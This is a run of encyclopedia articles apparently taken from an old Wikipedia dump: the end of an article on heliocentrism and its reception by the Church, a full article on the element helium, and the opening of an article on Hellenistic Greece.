              "There is talk of a new astrologer who wants to prove that the earth moves and goes around instead of the sky, the sun, the moon, just as if somebody were moving in a carriage or ship might hold that he was sitting still and at rest while the earth and the trees walked and moved. But that is how things are nowadays: when a man wishes to be clever he must . . . invent something special, and the way he does it must needs be the best! The fool wants to turn the whole art of astronomy upside-down. However, as Holy Scripture tells us, so did Joshua bid the sun to stand still and not the earth."

            

          


          This was reported in the context of dinner-table conversation and not a formal statement of faith. Melanchthon, however, opposed the doctrine over a period of years.


          Some years after the publication of De Revolutionibus John Calvin preached a sermon in which he denounced those who "pervert the course of nature" by saying that "the sun does not move and that it is the earth that revolves and that it turns". On the other hand, Calvin is not responsible for another famous quotation which has often been misattributed to him:


          
            
              "Who will venture to place the authority of Copernicus above that of the Holy Spirit?"

            

          


          It has long been established that this line cannot be found in any of Calvin's works. It has been suggested that the quotation was originally sourced from the works of Lutheran theologian Abraham Calovius.


          Over time, however, the Catholic Church began to become more adamant about protecting the geocentric view. Pope Urban VIII, who had approved the idea of Galileo's publishing a work on the two theories of the world, became hostile to Galileo. Over time, the Catholic Church became the primary opposition to the Heliocentric view.


          The favored system had been that of Ptolemy, in which the Earth was the centre of the universe and all celestial bodies orbited it. A geocentric compromise was available in the Tychonic system, in which the Sun orbited the Earth, while the planets orbited the Sun as in the Copernican model. The Jesuit astronomers in Rome were at first unreceptive to Tycho's system; the most prominent, Clavius, commented that Tycho was "confusing all of astronomy, because he wants to have Mars lower than the Sun." (Fantoli, 2003, p. 109) But as the controversy progressed and the Church took a harder line toward Copernican ideas after 1616, the Jesuits moved toward Tycho's teachings; after 1633, the use of this system was almost mandatory. For advancing heliocentric theory Galileo was put under house arrest for the last several years of his life.


          Theologian and pastor Thomas Schirrmacher, however, has argued:


          
            
              "Contrary to legend, Galileo and the Copernican system were well regarded by church officials. Galileo was the victim of his own arrogance, the envy of his colleagues, and the politics of Pope Urban VIII. He was not accused of criticizing the Bible, but disobeying a papal decree."

            

          


          Catholic scientists also:


          
            
              "appreciated that the reference to heresy in connection with Galileo or Copernicus had no general or theological significance."

            


            
              Heilbron (1999)
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          Cardinal Robert Bellarmine himself considered that Galileo's model made "excellent good sense" on the ground of mathematical simplicity; that is, as a hypothesis (see above). And he said:


          
            
              "If there were a real proof that the Sun is in the centre of the universe, that the Earth is in the third sphere, and that the Sun does not go round the Earth but the Earth round the Sun, then we should have to proceed with great circumspection in explaining passages of Scripture which appear to teach the contrary, and we should rather have to say that we did not understand them than declare an opinion false which has been proved to be true. But I do not think there is any such proof since none has been shown to me."

            


            
              Koestler (1959), p. 447448
            

          


          Therefore, he supported a ban on the teaching of the idea as anything but hypothesis. In 1616 he delivered to Galileo the papal command not to "hold or defend" the heliocentric idea. In the discussions leading to the ban, he was a moderate, as the Dominican party wished to forbid teaching heliocentrism in any way whatever. Galileo's heresy trial in 1633 involved making fine distinctions between "teaching" and "holding and defending as true".


          The official opposition of the Church to heliocentrism did not by any means imply opposition to all astronomy; indeed, it needed observational data to maintain its calendar. In support of this effort it allowed the cathedrals themselves to be used as solar observatories called meridiane; i.e., they were turned into "reverse sundials", or gigantic pinhole cameras, where the Sun's image was projected from a hole in a window in the cathedral's lantern onto a meridian line.


          In 1664, Pope Alexander VII published his Index Librorum Prohibitorum Alexandri VII Pontificis Maximi jussu editus which included all previous condemnations of geocentric books. An annotated copy of Philosophiae Naturalis Principia Mathematica by Isaac Newton was published in 1742 by Fathers le Seur and Jacquier of the Franciscan Minims, two Catholic mathematicians with a preface stating that the author's work assumed heliocentrism and could not be explained without the theory. Pope Benedict XIV suspended the ban on heliocentric works on April 16, 1757 based on Isaac Newton's work. Pope Pius VII approved a decree in 1822 by the Sacred Congregation of the Inquisition to allow the printing of heliocentric books in Rome.


          


          The view of modern science


          The realization that the heliocentric view was also not true in a strict sense was achieved in steps. That the Sun was not the centre of the universe, but one of innumerable stars, was strongly advocated by the mystic Giordano Bruno; Galileo made the same point, but said very little on the matter, perhaps not wishing to incur the church's wrath. Over the course of the 18th and 19th centuries, the status of the Sun as merely one star among many became increasingly obvious. By the 20th century, even before the discovery that there are many galaxies, it was no longer an issue.


          Even if the discussion is limited to the solar system, the sun is not at the geometric centre of any planet's orbit, but rather at one focus of the elliptical orbit. Furthermore, to the extent that a planet's mass cannot be neglected in comparison to the Sun's mass, the center of gravity of the solar system is displaced slightly away from the centre of the Sun. (The masses of the planets, mostly Jupiter, amount to 0.14% of that of the Sun.) Therefore a hypothetical astronomer on an extrasolar planet would observe a "wobble" in his perception of the Sun's motion.


          Giving up the whole concept of being "at rest" is related to the principle of relativity. While, assuming an unbounded universe, it was clear there is no privileged position in space, until postulation of the special theory of relativity by Albert Einstein, at least the existence of a privileged class of inertial systems absolutely at rest was assumed, in particular in the form of the hypothesis of the luminiferous aether. Some forms of Mach's principle consider the frame at rest with respect to the masses in the universe to have special properties.


          


          Modern use of geocentric and heliocentric


          In modern calculations, the origin and orientation of a coordinate system often have to be selected. For practical reasons, systems with their origin in the mass, solar mass or in the centre of mass of solar system are frequently selected. The adjectives may be used in this context. However, such selection of coordinates has no philosophical or physical implications.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Heliocentrism"
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              	General
            


            
              	Name, symbol, number

              	helium, He, 2
            


            
              	Chemical series

              	noble gases
            


            
              	Group, period, block

              	18, 1, s
            


            
              	Appearance

              	colorless

              [image: ]
            


            
              	Standard atomic weight

              	4.002602 (2)gmol1
            


            
              	Electron configuration

              	1s2
            


            
              	Electrons per shell

              	2
            


            
              	Physical properties
            


            
              	Phase

              	gas
            


            
              	Density

              	(0 C, 101.325 kPa)

              0.1786 g/L
            


            
              	Melting point

              	(at 2.5 MPa) 0.95 K

              (272.2 C, 458.0 F)
            


            
              	Boiling point

              	4.22 K

              (268.93  C, 452.07  F)
            


            
              	Critical point

              	5.19 K, 0.227 MPa
            


            
              	Heat of fusion

              	0.0138 kJmol1
            


            
              	Heat of vaporization

              	0.0829 kJmol1
            


            
              	Specific heat capacity

              	(25 C) 20.786 Jmol1K1
            


            
              	
                
                  
                    Vapor pressure(defined by ITS-90)
                  

                  
                    	P/Pa

                    	1

                    	10

                    	100

                    	1 k

                    	10 k

                    	100 k
                  


                  
                    	at T/K

                    	

                    	

                    	1.23

                    	1.67

                    	2.48

                    	4.21
                  

                

              
            


            
              	Atomic properties
            


            
              	Crystal structure

              	hexagonal close-packed
            


            
              	Electronegativity

              	no data (Pauling scale)
            


            
              	Ionization energies

              	1st: 2372.3 kJmol1
            


            
              	2nd: 5250.5 kJmol1
            


            
              	Atomic radius (calc.)

              	31 pm
            


            
              	Covalent radius

              	32 pm
            


            
              	Van der Waals radius

              	140 pm
            


            
              	Miscellaneous
            


            
              	Thermal conductivity

              	(300 K) 0.1513Wm1K1
            


            
              	Thermal expansion

              	(25 C) { mm1K1
            


            
              	CAS registry number

              	7440-59-7
            


            
              	Selected isotopes
            


            
              	
                
                  
                    Main article: Isotopes of helium
                  

                  
                    	iso

                    	NA

                    	half-life

                    	DM

                    	DE ( MeV)

                    	DP
                  


                  
                    	3He

                    	0.000137%*

                    	3He is stable with 1 neutrons
                  


                  
                    	4He

                    	99.999863%*

                    	4He is stable with 2 neutrons
                  


                  
                    	*Atmospheric value, abundance may differ elsewhere.
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          Helium (He) is a colorless, odorless, tasteless, non-toxic, inert monatomic chemical element that heads the noble gas series in the periodic table and whose atomic number is 2. Its boiling and melting points are the lowest among the elements and it exists only as a gas except in extreme conditions. Extreme conditions are also needed to create the small handful of helium compounds, which are all unstable at standard temperature and pressure. In its most common form, helium-4, it has two neutrons in its nucleus, while a second, rarer, stable isotope called helium-3 contains just one neutron. The behaviour of liquid helium-4's two fluid phases, helium I and helium II, is important to researchers studying quantum mechanics (in particular the phenomenon of superfluidity) and to those looking at the effects that temperatures near absolute zero have on matter (such as superconductivity).


          In 1868 the French astronomer Pierre Janssen first detected helium as an unknown yellow spectral line signature in light from a solar eclipse. Since then large reserves of helium have been found in the natural gas fields of the United States, which is by far the largest supplier of the gas. It is used in cryogenics, in deep-sea breathing systems, to cool superconducting magnets, in helium dating, for inflating balloons, for providing lift in airships and as a protective gas for many industrial uses (such as arc welding and growing silicon wafers). A much less serious use is to temporarily change the timbre and quality of one's voice by inhaling a small volume of the gas (see precautions section below).


          Helium is the second most abundant and second lightest element in the known universe, and is one of the elements believed to have been created in the Big Bang. In the modern universe almost all new helium is created as a result of the nuclear fusion of hydrogen in stars. On Earth helium is rare, and almost all of that which exists was created by the radioactive decay of much heavier elements ( alpha particles are helium nuclei). After its creation, part of it was trapped with natural gas in concentrations up to 7% by volume, from which it is extracted commercially by fractional distillation. Large reserves of helium have been found in the natural gas fields of the United States (the largest supplier) but helium is known in gas reserves of a few other countries.


          


          Notable characteristics


          


          Gas and plasma phases


          Helium is the least reactive member of the noble gas elements, and thus also the least reactive of all elements; it is inert and monatomic in virtually all conditions. Due to helium's relatively low molar (molecular) mass, in the gas phase it has a thermal conductivity, specific heat, and sound conduction velocity that are all greater than any gas, except hydrogen. For similar reasons, and also due to the small size of its molecules, helium's diffusion rate through solids is three times that of air and around 65% that of hydrogen.


          Helium is less water soluble than any other gas known, and helium's index of refraction is closer to unity than that of any other gas. Helium has a negative Joule-Thomson coefficient at normal ambient temperatures, meaning it heats up when allowed to freely expand. Only below its Joule-Thomson inversion temperature (of about 40 K at 1 atmosphere) does it cool upon free expansion. Once precooled below this temperature, helium can be liquefied through expansion cooling.
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          Throughout the universe, helium is found mostly in a plasma state whose properties are quite different from atomic helium. In a plasma, helium's electrons and protons are not bound together, resulting in very high electrical conductivity, even when the gas is only partially ionized. The charged particles are highly influenced by magnetic and electric fields. For example, in the solar wind together with ionized hydrogen, they interact with the Earth's magnetosphere giving rise to Birkeland currents and the aurora.


          


          Solid and liquid phases


          Helium solidifies only under great pressure. The resulting colorless, almost invisible solid is highly compressible; applying pressure in a laboratory can decrease its volume by more than 30%. With a bulk modulus on the order of 5107 Pa it is 50 times more compressible than water. Unlike any other element, helium will fail to solidify and remain a liquid down to absolute zero at normal pressures. This is a direct effect of quantum mechanics: specifically, the zero point energy of the system is too high to allow freezing. Solid helium requires a temperature of 11.5K (about 272C or 457F) and about 25bar (2.5MPa) of pressure. It is often hard to distinguish solid from liquid helium since the refractive index of the two phases are nearly the same. The solid has a sharp melting point and has a crystalline structure.


          Solid helium has a density of 0.214 0.006g/ml (1.15K, 66atm) with a mean isothermal compressibility of the solid at 1.15K between the solidus and 66atm of 0.00310.0008/atm. Also, no difference in density was noted between 1.8K and 1.5K. This data projects that T=0 solid helium under 25bar of pressure (the minimum required to freeze helium) has a density of 0.1870.009g/ml.


          


          Helium I state


          Below its boiling point of 4.22 kelvin and above the lambda point of 2.1768 kelvin, the isotope helium-4 exists in a normal colorless liquid state, called helium I. Like other cryogenic liquids, helium I boils when it is heated. It also contracts when its temperature is lowered until it reaches the lambda point, when it stops boiling and suddenly expands. The rate of expansion decreases below the lambda point until about 1K is reached; at which point expansion completely stops and helium I starts to contract again.


          Helium I has a gas-like index of refraction of 1.026 which makes its surface so hard to see that floats of styrofoam are often used to show where the surface is. This colorless liquid has a very low viscosity and a density one-eighth that of water, which is only one-fourth the value expected from classical physics. Quantum mechanics is needed to explain this property and thus both types of liquid helium are called quantum fluids, meaning they display atomic properties on a macroscopic scale. This is probably due to its boiling point being so close to absolute zero, which prevents random molecular motion (heat) from masking the atomic properties.


          


          Helium II state


          Liquid helium below its lambda point begins to exhibit very unusual characteristics, in a state called helium II. Boiling of helium II is not possible due to its high thermal conductivity; heat input instead causes evaporation of the liquid directly to gas. The isotope helium-3 also has a superfluid phase, but only at much lower temperatures; as a result, less is known about such properties in the isotope helium-3.
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          Helium II is a superfluid, a quantum-mechanical state of matter with strange properties. For example, when it flows through even capillaries of 107 to 108 m width it has no measurable viscosity. However, when measurements were done between two moving discs, a viscosity comparable to that of gaseous helium was observed. Current theory explains this using the two-fluid model for helium II. In this model, liquid helium below the lambda point is viewed as containing a proportion of helium atoms in a ground state, which are superfluid and flow with exactly zero viscosity, and a proportion of helium atoms in an excited state, which behave more like an ordinary fluid.


          Helium II also exhibits a creeping effect. When a surface extends past the level of helium II, the helium II moves along the surface, seemingly against the force of gravity. Helium II will escape from a vessel that is not sealed by creeping along the sides until it reaches a warmer region where it evaporates. It moves in a 30 nm-thick film regardless of surface material. This film is called a Rollin film and is named after the man who first characterized this trait, Bernard V. Rollin. As a result of this creeping behaviour and heliumII's ability to leak rapidly through tiny openings, it is very difficult to confine liquid helium. Unless the container is carefully constructed, the heliumII will creep along the surfaces and through valves until it reaches somewhere warmer, where it will evaporate. Waves propagating across a Rollin film are governed by the same equation as gravity waves in shallow water, but rather than gravity, the restoring force is the Van der Waals force. These waves are known as third sound.


          In the fountain effect, a chamber is constructed which is connected to a reservoir of heliumII by a sintered disc through which superfluid helium leaks easily but through which non-superfluid helium cannot pass. If the interior of the container is heated, the superfluid helium changes to non-superfluid helium. In order to maintain the equilibrium fraction of superfluid helium, superfluid helium leaks through and increases the pressure, causing liquid to fountain out of the container.


          The thermal conductivity of helium II is greater than that of any other known substance, a million times that of helium I and several hundred times that of copper. This is because heat conduction occurs by an exceptional quantum-mechanical mechanism. Most materials that conduct heat well have a valence band of free electrons which serve to transfer the heat. Helium II has no such valence band but nevertheless conducts heat well. The flow of heat is governed by equations that are similar to the wave equation used to characterize sound propagation in air. So when heat is introduced, it will move at 20meters per second at 1.8K through heliumII as waves in a phenomenon called second sound.


          


          Applications
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          Helium is used for many purposes that require some of its unique properties, such as its low boiling point, low density, low solubility, high thermal conductivity, or inertness. Helium is commercially available in either liquid or gaseous form. As a liquid, it can be supplied in small containers called dewars which hold up to 1,000 liters of helium, or in large ISO containers which have nominal capacities as large as 11,000 gallons (41,637 liters). In gaseous form, small quantities of helium are supplied in high pressure cylinders holding up to 300 standard cubic feet, while large quantities of high pressure gas are supplied in tube trailers which have capacities of up to 180,000 standard cubic feet.


          
            	Because it is lighter than air, airships and balloons are inflated with helium for lift. In airships, helium is preferred over hydrogen because it is not flammable and has 92.64% of the buoyancy (or lifting power) of the alternative hydrogen (see calculation.)

          


          
            	For its low solubility in water, the major part of human blood, mixtures of helium with oxygen and nitrogen ( trimix), with oxygen only ( heliox), with common air ( heliair), and with hydrogen and oxygen ( hydreliox), are used in deep-sea breathing systems to reduce the high-pressure risk of nitrogen narcosis.

          


          
            	At extremely low temperatures, liquid helium is used to cool certain metals to produce superconductivity, such as in superconducting magnets used in magnetic resonance imaging. Helium at low temperatures is also used in cryogenics.

          


          
            	For its inertness and high thermal conductivity, neutron transparency, and because it does not form radioactive isotopes under reactor conditions, helium is used as a coolant in some nuclear reactors, such as pebble-bed reactors.

          


          
            	Helium is used as a shielding gas in arc welding processes on materials that are contaminated easily by air. It is especially useful in overhead welding, because it is lighter than air and thus floats, whereas other shielding gases sink.

          


          
            	Because it is inert, helium is used as a protective gas in growing silicon and germanium crystals, in titanium and zirconium production, in gas chromatography, and as an atmosphere for protecting historical documents. This property also makes it useful in supersonic wind tunnels.

          


          
            	In rocketry, helium is used as an ullage medium to displace fuel and oxidizers in storage tanks and to condense hydrogen and oxygen to make rocket fuel. It is also used to purge fuel and oxidizer from ground support equipment prior to launch and to pre-cool liquid hydrogen in space vehicles. For example, the Saturn V booster used in the Apollo program needed about 13 million cubic feet (370,000 m) of helium to launch.

          


          
            	The gain medium of the helium-neon laser is a mixture of helium and neon.

          


          
            	Because it diffuses through solids at a rate three times that of air, helium is used as a tracer gas to detect leaks in high-vacuum equipment and high-pressure containers, as well as in other applications with less stringent requirements such as heat exchangers, valves, gas panels, etc.

          


          
            	Because of its extremely low index of refraction, the use of helium reduces the distorting effects of temperature variations in the space between lenses in some telescopes.

          


          
            	The age of rocks and minerals that contain uranium and thorium, radioactive elements that emit helium nuclei called alpha particles, can be discovered by measuring the level of helium with a process known as helium dating.

          


          
            	The high thermal conductivity and sound velocity of helium is also desirable in thermoacoustic refrigeration. The inertness of helium adds to the environmental advantage of this technology over conventional refrigeration systems which may contribute to ozone depleting and global warming effects.

          


          
            	Because helium alone is less dense than atmospheric air, it will change the timbre (not pitch) of a person's voice when inhaled. However, inhaling it from a typical commercial source, such as that used to fill balloons, can be dangerous due to the risk of asphyxiation from lack of oxygen, and the number of contaminants that may be present. These could include trace amounts of other gases, in addition to aerosolized lubricating oil.

          


          


          History


          


          Scientific discoveries


          Evidence of helium was first detected on August 18, 1868 as a bright yellow line with a wavelength of 587.49 nanometres in the spectrum of the chromosphere of the Sun, by French astronomer Pierre Janssen during a total solar eclipse in Guntur, India. This line was initially assumed to be sodium. On October 20 of the same year, English astronomer Norman Lockyer observed a yellow line in the solar spectrum, which he named the D3 line, for it was near the known D1 and D2 lines of sodium, and concluded that it was caused by an element in the Sun unknown on Earth. He and English chemist Edward Frankland named the element with the Greek word for the Sun, ἥ (helios)


          On 26 March 1895 British chemist William Ramsay isolated helium on Earth by treating the mineral cleveite with mineral acids. Ramsay was looking for argon but, after separating nitrogen and oxygen from the gas liberated by sulfuric acid, noticed a bright-yellow line that matched the D3 line observed in the spectrum of the Sun. These samples were identified as helium by Lockyer and British physicist William Crookes. It was independently isolated from cleveite the same year by chemists Per Teodor Cleve and Abraham Langlet in Uppsala, Sweden, who collected enough of the gas to accurately determine its atomic weight. Helium was also isolated by the American geochemist William Francis Hillebrand prior to Ramsay's discovery when he noticed unusual spectral lines while testing a sample of the mineral uraninite. Hillebrand, however, attributed the lines to nitrogen. His letter of congratulations to Ramsay offers an interesting case of discovery and near-discovery in science.


          In 1907, Ernest Rutherford and Thomas Royds demonstrated that alpha particles are helium nuclei, by allowing them to penetrate the thin glass wall of a evacuated tube, then creating a discharge in the tube to study the spectra of the new gas inside. In 1908, helium was first liquefied by Dutch physicist Heike Kamerlingh Onnes by cooling the gas to less than one kelvin. He tried to solidify it by further reducing the temperature but failed, because helium does not have a triple point temperature where the solid, liquid, and gas phases are at equilibrium. It was first solidified in 1926 by his student Willem Hendrik Keesom by subjecting helium to 25 atmospheres of pressure.


          In 1938, Russian physicist Pyotr Leonidovich Kapitsa discovered that helium-4 (a boson) has almost no viscosity at temperatures near absolute zero, a phenomenon now called superfluidity. This phenomenon is related to Bose-Einstein condensation. In 1972, the same phenomenon was observed in helium-3, but at temperatures much closer to absolute zero, by American physicists Douglas D. Osheroff, David M. Lee, and Robert C. Richardson. The phenomenon in helium-3 is thought to be related to pairing of helium-3 fermions to make bosons, in analogy to Cooper pairs of electrons producing superconductivity.


          


          Extraction and uses


          After an oil drilling operation in 1903 in Dexter, Kansas, U.S. produced a gas geyser that would not burn, Kansas state geologist Erasmus Haworth collected samples of the escaping gas and took them back to the University of Kansas at Lawrence where, with the help of chemists Hamilton Cady and David McFarland, he discovered that the gas contained, by volume, 72% nitrogen, 15% methaneinsufficient to make the gas combustible, 1% hydrogen, and 12% of an unidentifiable gas. With further analysis, Cady and McFarland discovered that 1.84% of the gas sample was helium. Far from being a rare element, helium was present in vast quantities under the American Great Plains, available for extraction from natural gas.


          This put the United States in an excellent position to become the world's leading supplier of helium. Following a suggestion by Sir Richard Threlfall, the United States Navy sponsored three small experimental helium production plants during World War I. The goal was to supply barrage balloons with the non-flammable lifting gas. A total of 200,000 cubic feet (5700 m) of 92% helium was produced in the program even though only a few cubic feet (less than 100 liters) of the gas had previously been obtained. Some of this gas was used in the world's first helium-filled airship, the U.S. Navy's C-7, which flew its maiden voyage from Hampton Roads, Virginia to Bolling Field in Washington, D.C. on 1 December 1921.


          Although the extraction process, using low-temperature gas liquefaction, was not developed in time to be significant during World War I, production continued. Helium was primarily used as a lifting gas in lighter-than-air craft. This use increased demand during World War II, as well as demands for shielded arc welding. Helium was also vital in the atomic bomb Manhattan Project.


          The government of the United States set up the National Helium Reserve in 1925 at Amarillo, Texas with the goal of supplying military airships in time of war and commercial airships in peacetime. Due to a US military embargo against Germany that restricted helium supplies, the Hindenburg was forced to use hydrogen as the lift gas. Helium use following World War II was depressed but the reserve was expanded in the 1950s to ensure a supply of liquid helium as a coolant to create oxygen/hydrogen rocket fuel (among other uses) during the Space Race and Cold War. Helium use in the United States in 1965 was more than eight times the peak wartime consumption.


          After the "Helium Acts Amendments of 1960" (Public Law 86777), the U.S. Bureau of Mines arranged for five private plants to recover helium from natural gas. For this helium conservation program, the Bureau built a 425-mile (684km) pipeline from Bushton, Kansas to connect those plants with the government's partially depleted Cliffside gas field, near Amarillo, Texas. This helium-nitrogen mixture was injected and stored in the Cliffside gas field until needed, when it then was further purified.


          By 1995, a billion cubic metres of the gas had been collected and the reserve was US$1.4 billion in debt, prompting the Congress of the United States in 1996 to phase out the reserve. The resulting "Helium Privatization Act of 1996" (Public Law 104273) directed the United States Department of the Interior to start liquidating the reserve by 2005.


          Helium produced before 1945 was about 98% pure (2% nitrogen), which was adequate for airships. In 1945 a small amount of 99.9% helium was produced for welding use. By 1949 commercial quantities of Grade A 99.995% helium were available.


          For many years the United States produced over 90% of commercially usable helium in the world. Extraction plants created in Canada, Poland, Russia, and other nations produced the remaining helium. In the mid 1990s, A new plant in Arzew, Algeria producing 600mmcf came on stream, with enough production to cover all of Europe's demand. Subsequently, in 20042006 two additional plants, one in Ras Laffen, Qatar and the other in Skikda, Algeria were built, but as of early 2007, Ras Laffen is functioning at 50%, and Skikda has yet to start up. Algeria quickly became the second leading producer of helium. Through this time, both helium consumption and the costs of producing helium increased and during 2007 the major suppliers, Air Liquide, Airgas and Praxair all raised prices from 10 to 30%.


          


          Occurrence and production


          


          Natural abundance


          Helium is the second most abundant element in the known Universe after hydrogen and constitutes 23% of the elemental mass of the universe. It is concentrated in stars, where it is formed from hydrogen by the nuclear fusion of the proton-proton chain reaction and CNO cycle. According to the Big Bang model of the early development of the universe, the vast majority of helium was formed during Big Bang nucleosynthesis, from one to three minutes after the Big Bang. As such, measurements of its abundance contribute to cosmological models.


          In the Earth's atmosphere, the concentration of helium by volume is only 5.2 parts per million. The concentration is low and fairly constant despite the continuous production of new helium because most helium in the Earth's atmosphere escapes into space by several processes. In the Earth's heterosphere, a part of the upper atmosphere, helium and other lighter gases are the most abundant elements.


          Nearly all helium on Earth is a result of radioactive decay. The decay product is primarily found in minerals of uranium and thorium, including cleveites, pitchblende, carnotite and monazite, because they emit alpha particles, which consist of helium nuclei (He2+) to which electrons readily combine. In this way an estimated 3.4 litres of helium per year are generated per cubic kilometer of the Earth's crust. In the Earth's crust, the concentration of helium is 8 parts per billion. In seawater, the concentration is only 4 parts per trillion. There are also small amounts in mineral springs, volcanic gas, and meteoric iron. The greatest concentrations on the planet are in natural gas, from which most commercial helium is derived.


          The world's helium supply may be in danger, according to Washington University in St. Louis chemist Lee Sobotka. The largest reserve is in Texas and would run out in eight years if consumed at the current pace. Helium is non-renewable and irreplaceable by conventional methods.


          


          Modern extraction


          For large-scale use, helium is extracted by fractional distillation from natural gas, which contains up to 7% helium. Since helium has a lower boiling point than any other element, low temperature and high pressure are used to liquefy nearly all the other gases (mostly nitrogen and methane). The resulting crude helium gas is purified by successive exposures to lowering temperatures, in which almost all of the remaining nitrogen and other gases are precipitated out of the gaseous mixture. Activated charcoal is used as a final purification step, usually resulting in 99.995% pure, Grade-A, helium. The principal impurity in Grade-A helium is neon. In a final production step, most of the helium that is produced is liquefied via a cryogenic process. This is necessary for applications requiring liquid helium and also allows helium suppliers to reduce the cost of long distance transportation, as the largest liquid helium containers have more than five times the capacity of the largest gaseous helium tube trailers.


          In 2005, approximately one hundred and sixty million cubic meters of helium were extracted from natural gas or withdrawn from helium reserves, with approximately 83% from the United States, 11% from Algeria, and most of the remainder from Russia and Poland. In the United States, most helium is extracted from natural gas in Kansas and Texas.


          Diffusion of crude natural gas through special semipermeable membranes and other barriers is another method to recover and purify helium. Helium can be synthesized by bombardment of lithium or boron with high-velocity protons, but this is not an economically viable method of production.


          


          Isotopes


          Although there are eight known isotopes of helium, only helium-3 and helium-4 are stable. In the Earth's atmosphere, there is one He-3 atom for every million He-4 atoms. However, helium is unusual in that its isotopic abundance varies greatly depending on its origin. In the interstellar medium, the proportion of He-3 is around a hundred times higher. Rocks from the Earth's crust have isotope ratios varying by as much as a factor of ten; this is used in geology to study the origin of such rocks.


          The most common isotope, helium-4, is produced on Earth by alpha decay of heavier radioactive elements; the alpha particles that emerge are fully ionized helium-4 nuclei. Helium-4 is an unusually stable nucleus because its nucleons are arranged into complete shells. It was also formed in enormous quantities during Big Bang nucleosynthesis.


          Evaporative cooling of liquid helium-4, in a so-called 1-K pot, cools the liquid to about 1 kelvin. In a helium-3 refrigerator, similar cooling of helium-3, which has a lower boiling point, reaches a temperature of about 0.2kelvin. Equal mixtures of liquid helium-3 and helium-4 below 0.8K will separate into two immiscible phases due to their dissimilarity (they follow different quantum statistics: helium-4 atoms are bosons while helium-3 atoms are fermions). Dilution refrigerators take advantage of the immiscibility of these two isotopes to achieve temperatures of a few millikelvins.


          There is only a trace amount of helium-3 on Earth, primarily present since the formation of the Earth, although some falls to Earth trapped in cosmic dust. Trace amounts are also produced by the beta decay of tritium. In stars, however, helium-3 is more abundant, a product of nuclear fusion. Extraplanetary material, such as lunar and asteroid regolith, have trace amounts of helium-3 from being bombarded by solar winds. The Moon's surface contains helium-3 at concentrations on the order of 0.01 ppm. A number of people, starting with Gerald Kulcinski in 1986, have proposed to explore the moon, mine lunar regolith and use the helium-3 for fusion.


          The different formation processes of the two stable isotopes of helium produce the differing isotope abundances. These differing isotope abundances can be used to investigate the origin of rocks and the composition of the Earth's mantle.


          It is possible to produce exotic helium isotopes, which rapidly decay into other substances. The shortest-lived heavy helium isotope is helium-5 with a half-life of 7.61022 second. Helium-6 decays by emitting a beta particle and has a half life of 0.8 second. Helium-7 also emits a beta particle as well as a gamma ray. Helium-7 and helium-8 are hyperfragments that are created in certain nuclear reactions.


          The exotics helium-6 and helium-8 are known to exhibit a nuclear halo. Helium-2 (two protons, no neutrons) is a radioisotope of helium that decays by proton emission into protium (hydrogen) with a half-life of 3x1027 second.


          


          Biological effects


          The voice of a person who has inhaled helium temporarily sounds high-pitched. This is because the speed of sound in helium is nearly three times the speed of sound in air. Because the fundamental frequency of a gas-filled cavity is proportional to the speed of sound in the gas, when helium is inhaled there is a corresponding increase in the resonant frequencies of the vocal tract. (The opposite effect, lowering frequencies, can be obtained by inhaling sulfur hexafluoride)


          Inhaling helium, e.g. to produce the vocal effect, can be dangerous if done to excess since helium is a simple asphyxiant, thus it displaces oxygen needed for normal respiration. Death by asphyxiation will result within minutes if pure helium is breathed continuously. In mammals (with the notable exceptions of seals and many burrowing animals) the breathing reflex is triggered by excess of carbon dioxide rather than lack of oxygen, so asphyxiation by helium progresses without the victim experiencing air hunger. Inhaling helium directly from pressurized cylinders is extremely dangerous as the high flow rate can result in barotrauma, fatally rupturing lung tissue.


          Neutral helium at standard conditions is non-toxic, plays no biological role and is found in trace amounts in human blood. At high pressures (more than about 20 atm or two MPa), a mixture of helium and oxygen ( heliox) can lead to high pressure nervous syndrome, a sort of reverse-anesthetic effect; adding a small amount of nitrogen to the mixture can alleviate the problem.


          Containers of helium gas at 5 to 10 K should be handled as if they contain liquid helium due to the rapid and significant thermal expansion that occurs when helium gas at less than 10 K is warmed to room temperature.


          


          Compounds


          Helium is chemically unreactive under all normal conditions due to its valence of zero. It is an electrical insulator unless ionized. As with the other noble gases, helium has metastable energy levels that allow it to remain ionized in an electrical discharge with a voltage below its ionization potential. Helium can form unstable compounds with tungsten, iodine, fluorine, sulfur and phosphorus when it is subjected to an electric glow discharge, through electron bombardment or is otherwise a plasma. HeNe, HgHe10, WHe2 and the molecular ions He2+, He22+, HeH+, and HeD+ have been created this way. This technique has also allowed the production of the neutral molecule He2, which has a large number of band systems, and HgHe, which is apparently only held together by polarization forces. Theoretically, other compounds may also be possible, such as helium fluorohydride (HHeF) which would be analogous to HArF, discovered in 2000.


          Helium has been put inside the hollow carbon cage molecules (the fullerenes) by heating under high pressure of the gas. The neutral molecules formed are stable up to high temperatures. When chemical derivatives of these fullerenes are formed, the helium stays inside. If helium-3 is used, it can be readily observed by helium NMR spectroscopy. Many fullerenes containing helium-3 have been reported. Although the helium atoms are not attached by covalent or ionic bonds, these substances fit the definition of compounds in the Handbook of Chemistry and Physics. They are the first stable neutral helium compounds to be formed.
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          The Hellenistic period or "Greek like" of Greek history was the period between the death of Alexander the Great in 323 BC and the annexation of the Greek peninsula and islands by Rome in 146 BC. Although the establishment of Roman rule did not break the continuity of Hellenistic society and culture, which remained essentially unchanged until the advent of Christianity, it did mark the end of Greek political independence.


          During the Hellenistic period the importance of "Greece proper" (that is, the territory of modern Greece) within the Greek-speaking world declined sharply. The great centers of Hellenistic culture were Alexandria and Antioch, capitals of Ptolemaic Egypt and Seleucid Syria respectively. See Hellenistic civilization for the history of Greek culture outside of Greece in this period.


          


          Macedonian dominance
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          The conquests of Alexander had a number of consequences for the Greek city-states. It greatly widened the horizons of the Greeks, making the endless conflicts between the cities which had marked the 5th and 4th centuries BC seem petty and unimportant. It led to a steady emigration, particularly of the young and ambitious, to the new Greek empires in the east. Many Greeks migrated to Alexandria, Antioch and the many other new Hellenistic cities founded in Alexander's wake, as far away as what are now Afghanistan and Pakistan, where the Greco-Bactrian Kingdom and the Indo-Greek Kingdom survived until the end of the 1st century BC.


          The defeat of the Greek cities by Philip and Alexander also taught the Greeks that their city-states could never again be powers in their own right, and that the hegemony of Macedon and its successor states could not be challenged unless the city states united, or at least federated. The Greeks valued their local independence too much to consider actual unification, but they made several attempts to form federations through which they could hope to reassert their independence.


